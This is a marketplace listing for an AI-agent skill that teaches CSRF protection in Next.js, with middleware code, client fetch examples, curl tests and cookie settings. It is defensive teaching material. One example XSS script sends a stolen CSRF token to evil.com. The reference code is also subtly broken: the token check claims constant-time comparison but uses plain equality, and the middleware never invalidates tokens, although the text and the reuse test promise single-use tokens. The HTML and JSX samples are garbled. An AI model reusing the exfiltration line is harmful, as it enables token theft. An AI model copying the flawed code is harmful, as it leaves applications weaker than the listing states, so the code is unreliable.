# Csrf Protection

> Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation".

- **Type:** Skill
- **Install:** `agentstack add skill-harperaa-secure-claude-skills-csrf-protection`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [harperaa](https://agentstack.voostack.com/s/harperaa)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [harperaa](https://github.com/harperaa)
- **Source:** https://github.com/harperaa/secure-claude-skills/tree/main/csrf-protection

## Install

```sh
agentstack add skill-harperaa-secure-claude-skills-csrf-protection
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# CSRF Protection - Preventing Cross-Site Request Forgery

## What CSRF Attacks Are

### The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is **Cross-Site Request Forgery**—tricking your browser into making requests you didn't intend.

### Real-World CSRF Attacks

**Router DNS Hijacking (2008):**
A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

**YouTube Actions (2012):**
YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

### Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in **35% of web applications tested**. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin

## Our CSRF Architecture

### Implementation Features

1. **HMAC-SHA256 Cryptographic Signing** (industry standard)
   - Provides cryptographic proof token was generated by our server
   - Even if intercepted, attackers can't forge tokens without secret key

2. **Session-Bound Tokens**
   - Tokens can't be used across different user sessions
   - Each user gets unique tokens

3. **Single-Use Tokens**
   - Token cleared after validation
   - Window of opportunity is seconds, not hours
   - If captured, useless after one request

4. **HTTP-Only Cookies**
   - JavaScript cannot access tokens
   - Prevents XSS-based token theft

5. **SameSite=Strict**
   - Browser won't send cookie on cross-origin requests
   - Additional layer of protection

### Implementation Files

- `lib/csrf.ts` - Cryptographic token generation
- `lib/withCsrf.ts` - Middleware enforcing verification
- `app/api/csrf/route.ts` - Token endpoint for clients

## How to Use CSRF Protection

### Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

```typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
```

### Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

```typescript
// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
```

### Step 3: What Happens Automatically

When `withCsrf()` wraps your handler:
1. Extracts CSRF token from `X-CSRF-Token` header
2. Extracts CSRF cookie from request
3. Verifies token matches cookie using HMAC
4. Clears token after validation (single-use)
5. If valid → calls your handler
6. If invalid → returns HTTP 403 Forbidden

## Complete Example: Protected Contact Form

```typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: 'admin@example.com',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Frontend Integration Example

```typescript
// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    
       setFormData({ ...formData, name: e.target.value })}
        required
      />
       setFormData({ ...formData, email: e.target.value })}
        required
      />
       setFormData({ ...formData, subject: e.target.value })}
        required
      />
       setFormData({ ...formData, message: e.target.value })}
        required
      />
      Send Message
    
  );
}
```

## Attack Scenarios & Protection

### Attack 1: Malicious Website Submits Form

**Attack:**
```html

  

  document.forms[0].submit(); // Auto-submit

```

**Protection:**
- No CSRF token in request → withCsrf() returns 403
- User's account safe

### Attack 2: XSS Attempts to Read Token

**Attack:**
```javascript
// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });
```

**Protection:**
- Token is single-use
- Even if stolen, expires after one request
- HTTPOnly cookies prevent cookie theft
- SameSite=Strict prevents cross-origin cookie sending

### Attack 3: Man-in-the-Middle Captures Token

**Attack:**
Attacker intercepts network traffic and captures CSRF token.

**Protection:**
- Single-use tokens become invalid after one use
- HTTPS required in production (enforced by HSTS)
- Short window of opportunity (seconds)

## Technical Implementation Details

### Token Generation (lib/csrf.ts)

```typescript
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}
```

### Middleware Wrapper (lib/withCsrf.ts)

```typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}
```

## What CSRF Protection Prevents

✅ **Cross-site request forgery** - Main protection
✅ **Session fixation attacks** - Tokens bound to sessions
✅ **Cross-origin form submissions** - SameSite=Strict
✅ **Hidden iframe attacks** - Token validation required
✅ **One-click attacks** - Token fetching step prevents

## Common Mistakes to Avoid

❌ **DON'T skip CSRF for POST/PUT/DELETE**
```typescript
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}
```

❌ **DON'T put CSRF tokens in URL parameters**
```typescript
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
```

❌ **DON'T reuse tokens**
```typescript
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
```

❌ **DON'T forget credentials: 'include'**
```typescript
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});
```

✅ **DO fetch fresh token for each sensitive operation**
✅ **DO use X-CSRF-Token header (not URL)**
✅ **DO apply to all state-changing operations**
✅ **DO combine with rate limiting for maximum protection**

## Testing CSRF Protection

### Test 1: Valid Request

```bash
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK
```

### Test 2: Missing Token

```bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing
```

### Test 3: Invalid Token

```bash
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid
```

### Test 4: Token Reuse (Should Fail)

```bash
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used
```

## Secure Cookie Configuration

### Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

```typescript
response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});
```

**Security Properties Explained:**

- **`httpOnly: true`** - JavaScript cannot access the cookie via `document.cookie`, preventing XSS theft
- **`sameSite: 'strict'`** - Browser won't send cookie on cross-origin requests, blocking CSRF
- **`secure: true`** - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
- **`maxAge`** - Cookie expiration time in seconds (shorter = more secure)
- **`path: '/'`** - Where cookie is valid (restrict if possible)

### Common Cookie Mistakes to Avoid

❌ **NEVER do this:**
```typescript
// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
```

✅ **ALWAYS do this:**
```typescript
// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});
```

## Environment Configuration

### Required Environment Variables

```bash
# .env.local
CSRF_SECRET=
SESSION_SECRET=
```

### Generate Secrets

```bash
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
```

⚠️ **IMPORTANT:**
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)

## References

- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite

## Next Steps

- For rate limiting protection: Use `rate-limiting` skill
- For input validation: Use `input-validation` skill
- For complete API security: Combine CSRF + rate limiting + validation
- For testing: Use `security-testing` skill

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [harperaa](https://github.com/harperaa)
- **Source:** [harperaa/secure-claude-skills](https://github.com/harperaa/secure-claude-skills)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** yes
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-harperaa-secure-claude-skills-csrf-protection
- Seller: https://agentstack.voostack.com/s/harperaa
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
